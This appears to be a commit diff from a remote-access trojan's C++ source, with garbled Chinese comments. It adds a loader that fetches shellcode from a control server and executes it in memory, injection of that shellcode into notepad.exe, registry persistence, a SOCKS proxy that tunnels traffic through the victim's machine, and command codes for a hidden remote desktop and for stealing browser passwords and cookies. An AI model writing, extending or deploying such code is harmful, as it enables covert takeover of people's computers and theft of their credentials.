int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
if (bytesReceived <= 0) {
Mprintf("recv failed: WSAGetLastError = %d\n", WSAGetLastError());
break;
}
totalReceived += bytesReceived;
if (totalReceived >= sizeof(PkgHeader) && totalReceived >= ((PkgHeader*)buffer)->totalLen) {
Mprintf("recv succeed: Cost time = %d s\n", (int)(time(NULL) - tm));
break;
}
}
} else {
closesocket(clientSocket);
break;
}
PkgHeader* header = (PkgHeader*)buffer;
if (totalReceived != header->totalLen || header->originLen <= 6 || header->totalLen > bufSize) {
Mprintf("Packet too short or too large: totalReceived = %d\n", totalReceived);
closesocket(clientSocket);
continue;
}
unsigned char* ptr = buffer + sizeof(PkgHeader);
int size = 0;
BYTE cmd = ptr[0], type = ptr[1];
memcpy(&size, ptr + 2, sizeof(int));
*sizeOut = size;
if (cmd != 211 || (type != 0 && type != 1) || size <= 64 || size > bufSize) {
closesocket(clientSocket);
break;
}
closesocket(clientSocket);
WSACleanup();
return buffer;
} while (1);
free(buffer);
WSACleanup();
return NULL;
}
struct CONNECT_ADDRESS
{
char szFlag[32];
char szServerIP[100];
char szPort[8];
char szReserved[160];
}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
int main() {
int size = 0;
const char* dllData = ReceiveShellcode(g_Server.szServerIP, atoi(g_Server.szPort), &size);
if (dllData == NULL) return -1;
void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == execMem) return -2;
memcpy(execMem, dllData + 22, size);
free((void*)dllData);
DWORD oldProtect = 0;
if (!VirtualProtect(execMem, size, PAGE_EXECUTE_READ, &oldProtect)) return -3;
((void(*)())execMem)();
Sleep(INFINITE);
return 0;
}

View File

@@ -0,0 +1,298 @@
// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ProxyManager.h"
#include <MSTcpIP.h>
#include <TCHAR.h>
#include "stdio.h"
#include <process.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager(pClient)
{
InitializeCriticalSection(&m_cs);
m_bUse = TRUE;
m_nSend = 0;
Threads = 0;
BYTE cmd = COMMAND_PROXY;
Send(&cmd, 1);
Mprintf("CProxyManager create: %p\n", this);
}
CProxyManager::~CProxyManager()
{
m_bUse = FALSE;
Sleep(1500);
std::map<DWORD, SOCKET*>::iterator it_oneofserver = list.begin();
while (it_oneofserver != list.end()) {
SOCKET* p_socket = (SOCKET*)(it_oneofserver->second);
if (p_socket) {
if (*p_socket != INVALID_SOCKET) {
closesocket(*p_socket);
*p_socket = 0;
}
SAFE_DELETE(it_oneofserver->second);
}
list.erase(it_oneofserver++);
}
Wait();
DeleteCriticalSection(&m_cs);
Mprintf("CProxyManager destroy: %p\n", this);
}
int CProxyManager::Send(LPBYTE lpData, UINT nSize)
{
if (!m_bUse) return 0;
int ret = CManager::Send(lpData, nSize);
return ret;
}
void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port)
{
lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT;
*(DWORD*)&lpBuffer[5] = ip;
*(USHORT*)&lpBuffer[9] = port;
Send(lpBuffer, 11);
}
void CProxyManager::Disconnect(DWORD index)
{
BYTE buf[5];
buf[0] = TOKEN_PROXY_CLOSE;
memcpy(&buf[1], &index, sizeof(DWORD));
Send(buf, sizeof(buf));
GetSocket(index,TRUE);
}
void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
if (!m_bUse) return ;
switch (lpBuffer[0]) {
/*[1]----[4]----[4]----[2]
cmd id ip port*/
case COMMAND_PROXY_CONNECT: {
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
AddThread(1);
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CONNECT_HOSTNAME: {
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
arg.len = nSize;
AddThread(1);
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CLOSE: {
GetSocket(*(DWORD*)&lpBuffer[1],TRUE);
}
break;
case COMMAND_PROXY_DATA:
DWORD index = *(DWORD*)&lpBuffer[1];
DWORD nRet, nSend = 5, nTry = 0;
SOCKET* s = GetSocket(index);
if (!s) return;
while (s && (nSend < nSize) && nTry < 15) {
nRet = send(*s, (char*)&lpBuffer[nSend], nSize - nSend, 0);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
Disconnect(index);
break;
} else {
nSend += nRet;
}
nTry++;
}
break;
}
}
DWORD CProxyManager::SocksThread(LPVOID lparam)
{
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
CProxyManager* pThis = pArg->pThis;
BYTE lpBuffer[11];
SOCKET* psock=new SOCKET;
DWORD ip;
sockaddr_in sockAddr;
int nSockAddrLen;
memcpy(lpBuffer, pArg->lpBuffer, 11);
pArg->lpBuffer = 0;
DWORD index = *(DWORD*)&lpBuffer[1];
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (*psock == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
ip = *(DWORD*)&lpBuffer[5];
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[9];
ClientAddr.sin_addr.S_un.S_addr = ip;
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
pThis->list.insert(std::pair<DWORD, SOCKET*>(index, psock));
memset(&sockAddr, 0, sizeof(sockAddr));
nSockAddrLen = sizeof(sockAddr);
getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
ISocketBase* pClient = pThis->m_ClientObject;
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
struct timeval timeout;
SOCKET socket = *psock;
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(socket, &fdSocket);
timeout.tv_sec = 0;
timeout.tv_usec = 10000;
buff[0] = TOKEN_PROXY_DATA;
memcpy(buff + 1, &index, 4);
while (pClient->IsRunning()) {
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
pThis->Disconnect(index);
break;
}
if (nRet > 0) {
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
if (nSize <= 0) {
pThis->Disconnect(index);
break;
}
if (nSize > 0)
pThis->Send(buff, nSize + 5);
}
}
SAFE_DELETE_AR(buff);
FD_CLR(socket, &fdSocket);
pThis->AddThread(-1);
return 0;
}
DWORD CProxyManager::SocksThreadhostname(LPVOID lparam)
{
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
CProxyManager* pThis = pArg->pThis;
BYTE* lpBuffer = new BYTE[pArg->len];
memcpy(lpBuffer, pArg->lpBuffer, pArg->len);
pArg->lpBuffer = 0;
DWORD index = *(DWORD*)&lpBuffer[1];
USHORT nPort = 0;
memcpy(&nPort, lpBuffer + 5, 2);
hostent* pHostent = NULL;
pHostent = gethostbyname((char*)lpBuffer + 7);
if (!pHostent) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
return 0;
}
SOCKET* psock=new SOCKET;
sockaddr_in sockAddr;
int nSockAddrLen;
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (*psock == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[5];
ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr);
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
pThis->list.insert(std::pair<DWORD, SOCKET*>(index, psock));
memset(&sockAddr, 0, sizeof(sockAddr));
nSockAddrLen = sizeof(sockAddr);
getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
SAFE_DELETE_AR(lpBuffer);
ISocketBase* pClient = pThis->m_ClientObject;
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
struct timeval timeout;
SOCKET socket = *psock;
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(socket, &fdSocket);
timeout.tv_sec = 0;
timeout.tv_usec = 10000;
buff[0] = TOKEN_PROXY_DATA;
memcpy(buff + 1, &index, 4);
while (pClient->IsRunning()) {
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
pThis->Disconnect(index);
break;
}
if (nRet > 0) {
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
if (nSize <= 0) {
pThis->Disconnect(index);
break;
}
if (nSize > 0)
pThis->Send(buff, nSize + 5);
}
}
SAFE_DELETE_AR(buff);
FD_CLR(socket, &fdSocket);
pThis->AddThread(-1);
return 0;
}
SOCKET* CProxyManager::GetSocket(DWORD index, BOOL del)
{
if (!m_bUse) return NULL;
CAutoLock locallock(m_cs);
SOCKET* s = list[index];
if ( del) {
if (!s) return s;
closesocket(*s);
SAFE_DELETE(s);
list.erase(index);
}
return s;
}

View File

@@ -0,0 +1,40 @@
#pragma once
#include "Manager.h"
#include <map>
class CProxyManager : public CManager
{
public:
BOOL m_bUse;
CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr);
virtual ~CProxyManager();
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
int Send(LPBYTE lpData, UINT nSize);
void Disconnect(DWORD index);
void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
static DWORD __stdcall SocksThread(LPVOID lparam);
static DWORD __stdcall SocksThreadhostname(LPVOID lparam);
DWORD m_nSend;
std::map<DWORD, SOCKET*> list;
SOCKET* GetSocket(DWORD index,BOOL del=FALSE);
CRITICAL_SECTION m_cs;
int Threads;
void AddThread(int n = 1) {
CAutoLock L(m_cs);
Threads += n;
}
void Wait() {
while (GetThread())
Sleep(50);
}
int GetThread() {
CAutoLock L(m_cs);
return Threads;
}
};
struct SocksThreadArg {
CProxyManager* pThis;
LPBYTE lpBuffer;
int len;
};

View File

@@ -1,11 +1,10 @@
#include <stdio.h>
#include <iostream>
#include <corecrt_io.h>
#include "common/commands.h"
#include "StdAfx.h" #include "StdAfx.h"
#include "MemoryModule.h" #include "MemoryModule.h"
#include "ShellcodeInj.h"
#include <WS2tcpip.h> #include <WS2tcpip.h>
#include <common/commands.h>
#include "common/dllRunner.h"
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "ws2_32.lib")
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
@@ -28,7 +27,9 @@ IsExit bExit = NULL;
BOOL status = 0; BOOL status = 0;
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL }; HANDLE hEvent = NULL;
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8> //<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege() void DebugPrivilege()
@@ -89,6 +90,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
if (CtrlType == CTRL_CLOSE_EVENT) if (CtrlType == CTRL_CLOSE_EVENT)
{ {
status = 1; status = 1;
if (hEvent) SetEvent(hEvent);
if(stop) stop(); if(stop) stop();
while(1==status) while(1==status)
Sleep(20); Sleep(20);
@@ -112,35 +114,9 @@ typedef struct PkgHeader {
} }
}PkgHeader; }PkgHeader;
// A DLL runner.
class DllRunner {
public:
virtual void* LoadLibraryA(const char* path) = 0;
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
virtual BOOL FreeLibrary(void* mod) = 0;
};
// Default DLL runner.
class DefaultDllRunner : public DllRunner {
private:
HMODULE m_mod;
public:
DefaultDllRunner() : m_mod(nullptr) {}
// Load DLL from the disk.
virtual void* LoadLibraryA(const char* path) {
return m_mod = ::LoadLibraryA(path);
}
virtual FARPROC GetProcAddress(void *mod, const char* lpProcName) {
return ::GetProcAddress(m_mod, lpProcName);
}
virtual BOOL FreeLibrary(void* mod) {
return ::FreeLibrary(m_mod);
}
};
// Memory DLL runner. // Memory DLL runner.
class MemoryDllRunner : public DllRunner { class MemoryDllRunner : public DllRunner {
private: protected:
HMEMORYMODULE m_mod; HMEMORYMODULE m_mod;
std::string GetIPAddress(const char* hostName) std::string GetIPAddress(const char* hostName)
{ {
@@ -169,8 +145,7 @@ private:
} }
public: public:
MemoryDllRunner() : m_mod(nullptr){} MemoryDllRunner() : m_mod(nullptr){}
// Request DLL from the master. virtual const char* ReceiveDll(int &size) {
virtual void* LoadLibraryA(const char* path) {
WSADATA wsaData = {}; WSADATA wsaData = {};
if (WSAStartup(MAKEWORD(2, 2), &wsaData)) if (WSAStartup(MAKEWORD(2, 2), &wsaData))
return nullptr; return nullptr;
@@ -179,7 +154,7 @@ public:
char* buffer = new char[bufSize]; char* buffer = new char[bufSize];
bool isFirstConnect = true; bool isFirstConnect = true;
do{ do {
if (!isFirstConnect) if (!isFirstConnect)
Sleep(5000); Sleep(5000);
@@ -214,7 +189,7 @@ public:
closesocket(clientSocket); closesocket(clientSocket);
continue; continue;
} }
char *ptr = buffer + sizeof(PkgHeader); char* ptr = buffer + sizeof(PkgHeader);
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0; int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
while (totalReceived < bufSize) { while (totalReceived < bufSize) {
int bytesToReceive = min(bufferSize, bufSize - totalReceived); int bytesToReceive = min(bufferSize, bufSize - totalReceived);
@@ -227,18 +202,34 @@ public:
continue; continue;
} }
BYTE cmd = ptr[0], type = ptr[1]; BYTE cmd = ptr[0], type = ptr[1];
int size = 0; size = 0;
memcpy(&size, ptr + 2, sizeof(int)); memcpy(&size, ptr + 2, sizeof(int));
if (totalReceived != size + 6 + sizeof(PkgHeader)) { if (totalReceived != size + 6 + sizeof(PkgHeader)) {
continue; continue;
} }
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
closesocket(clientSocket); closesocket(clientSocket);
} while (false); } while (false);
SAFE_DELETE_ARRAY(buffer);
WSACleanup(); WSACleanup();
return buffer;
}
// Request DLL from the master.
virtual void* LoadLibraryA(const char* path, int len=0) {
int size = 0;
auto buffer = ReceiveDll(size);
if (nullptr == buffer)
return nullptr;
int pos = MemoryFind(buffer, FLAG_FINDEN, size, sizeof(FLAG_FINDEN) - 1);
if (-1 != pos) {
CONNECT_ADDRESS* addr = (CONNECT_ADDRESS*)(buffer + pos);
BYTE type = buffer[sizeof(PkgHeader) + 1];
addr->iType = type == MEMORYDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE;
memset(addr->szFlag, 0, sizeof(addr->szFlag));
strcpy(addr->szServerIP, g_ConnectAddress.ServerIP());
sprintf_s(addr->szPort, "%d", g_ConnectAddress.ServerPort());
}
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
SAFE_DELETE_ARRAY(buffer);
return m_mod; return m_mod;
} }
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) { virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
@@ -259,10 +250,46 @@ int main(int argc, const char *argv[])
{ {
if(!SetSelfStart(argv[0], REG_NAME)) if(!SetSelfStart(argv[0], REG_NAME))
{ {
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n"; Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
} }
status = 0; status = 0;
SetConsoleCtrlHandler(&callback, TRUE); SetConsoleCtrlHandler(&callback, TRUE);
// <20><> Shell code <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڣ<CBBF>ע<EFBFBD><EFBFBD><EBB5BD><EFBFBD>±<EFBFBD>
if (g_ConnectAddress.iStartup == Startup_InjSC)
{
// Try to inject shell code to `notepad.exe`
// If failed then run memory DLL
ShellcodeInj inj;
int pid = 0;
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
do {
if (sizeof(void*) == 4) // Shell code is 64bit
break;
if (!(pid = inj.InjectProcess(nullptr))) {
break;
}
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
break;
}
Mprintf("Inject process [%d] succeed.\n", pid);
HANDLE handles[2] = { hProcess, hEvent };
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (status == 1) {
TerminateProcess(hProcess, -1);
CloseHandle(hEvent);
}
CloseHandle(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
if (status == 1)
return -1;
} while (pid);
}
if (g_ConnectAddress.iStartup == Startup_InjSC) {
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
do { do {
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
@@ -315,7 +342,20 @@ BOOL Run(const char* argv1, int argv2) {
Mprintf("Using new file: %s\n", newFile.c_str()); Mprintf("Using new file: %s\n", newFile.c_str());
} }
} }
DllRunner* runner = g_ConnectAddress.iType ? (DllRunner*) new MemoryDllRunner : new DefaultDllRunner; DllRunner* runner = nullptr;
switch (g_ConnectAddress.iStartup)
{
case Startup_DLL:
runner = new DefaultDllRunner;
break;
case Startup_MEMDLL:
runner = new MemoryDllRunner;
break;
default:
ExitProcess(-1);
break;
}
void* hDll = runner->LoadLibraryA(path); void* hDll = runner->LoadLibraryA(path);
typedef void (*TestRun)(char* strHost, int nPort); typedef void (*TestRun)(char* strHost, int nPort);
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL; TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;

View File

@@ -1,5 +1,5 @@
#pragma once #pragma once
#define _CRT_SECURE_NO_WARNINGS
#include <vector> #include <vector>
#include <string> #include <string>
#include <iosfwd> #include <iosfwd>
@@ -58,9 +58,9 @@ typedef void* LPVOID, * HANDLE;
#define CancelIo(p) close(reinterpret_cast<intptr_t>(p)) #define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
#endif #endif
#include <string> #include "ip_enc.h"
#include <vector>
#include <time.h> #include <time.h>
#include <unordered_map>
#ifndef _MAX_PATH #ifndef _MAX_PATH
#define _MAX_PATH 260 #define _MAX_PATH 260
@@ -72,6 +72,9 @@ typedef void* LPVOID, * HANDLE;
#define FLAG_GHOST FLAG_FINDEN #define FLAG_GHOST FLAG_FINDEN
// <20><><EFBFBD>س<EFBFBD><D8B3><EFBFBD>Ψһ<CEA8><D2BB>ʶ
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define DLL_VERSION __DATE__ // DLL<4C> #define DLL_VERSION __DATE__ // DLL<4C>
@@ -202,7 +205,10 @@ enum
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD> TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡ TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
TOKEN_BITMAPINFO_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ
TOKEN_SCREEN_SIZE, // <20><>Ļ<EFBFBD><C4BB>С
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD> TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
TOKEN_REG_KEY, TOKEN_REG_KEY,
@@ -214,6 +220,7 @@ enum
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD> CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD>
}; };
enum ProxyManager { enum ProxyManager {
@@ -227,6 +234,56 @@ enum ProxyManager {
COMMAND_PROXY_CONNECT_HOSTNAME, COMMAND_PROXY_CONNECT_HOSTNAME,
}; };
// <20><>̨<EFBFBD><CCA8>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum HideScreenSpy {
COMMAND_FLUSH_HIDE, // ˢ<><CBA2><EFBFBD><EFBFBD>Ļ
COMMAND_SCREEN_SETSCREEN_HIDE, // <20><><EFBFBD>÷ֱ<C3B7><D6B1><EFBFBD>
COMMAND_HIDE_USER, // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_HIDE_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̨
COMMAND_COMMAND_SCREENUALITY60_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_COMMAND_SCREENUALITY85_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_COMMAND_SCREENUALITY100_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IDM_OPEN_Explorer = 33,
IDM_OPEN_run,
IDM_OPEN_Powershell,
IDM_OPEN_360JS,
IDM_OPEN_360AQ,
IDM_OPEN_360AQ2,
IDM_OPEN_Chrome,
IDM_OPEN_Edge,
IDM_OPEN_Brave,
IDM_OPEN_Firefox,
IDM_OPEN_Iexplore,
IDM_OPEN_ADD_1,
IDM_OPEN_ADD_2,
IDM_OPEN_ADD_3,
IDM_OPEN_ADD_4,
IDM_OPEN_zdy,
IDM_OPEN_zdy2,
IDM_OPEN_close,
};
struct ZdyCmd {
char oldpath[_MAX_PATH];
char newpath[_MAX_PATH];
char cmdline[_MAX_PATH];
};
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum DecryptCommand {
COMMAND_LLQ_GetChromePassWord,
COMMAND_LLQ_GetEdgePassWord,
COMMAND_LLQ_GetSpeed360PassWord,
COMMAND_LLQ_Get360sePassWord,
COMMAND_LLQ_GetQQBroPassWord,
COMMAND_LLQ_GetChromeCookies,
};
typedef DecryptCommand BroType;
enum enum
{ {
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD> CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
@@ -265,6 +322,59 @@ inline const char* GetClientType(int typ) {
} }
} }
inline int compareDates(const std::string& date1, const std::string& date2) {
static const std::unordered_map<std::string, int> monthMap = {
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6},
{"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12}
};
auto parse = [&](const std::string& date) -> std::tuple<int, int, int> {
int month = monthMap.at(date.substr(0, 3));
int day = std::stoi(date.substr(4, 2));
int year = std::stoi(date.substr(7, 4));
return { year, month, day };
};
try {
auto t1 = parse(date1);
auto t2 = parse(date2);
int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1);
int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2);
if (y1 != y2) return y1 < y2 ? -1 : 1;
if (m1 != m2) return m1 < m2 ? -1 : 1;
if (d1 != d2) return d1 < d2 ? -1 : 1;
return 0;
}
catch (const std::exception& e) {
std::cerr << "Date parse error: " << e.what() << std::endl;
return -2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
}
}
// <20><>ö<EFBFBD><C3B6>ֵ<EFBFBD><D6B5>ClientType<70><65><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>ֲ<EFBFBD><D6B2><EFBFBD><EFBFBD><EFBFBD>ȫһ<C8AB>£<EFBFBD>רΪ`TestRun`<60><><EFBFBD><EFBFBD>
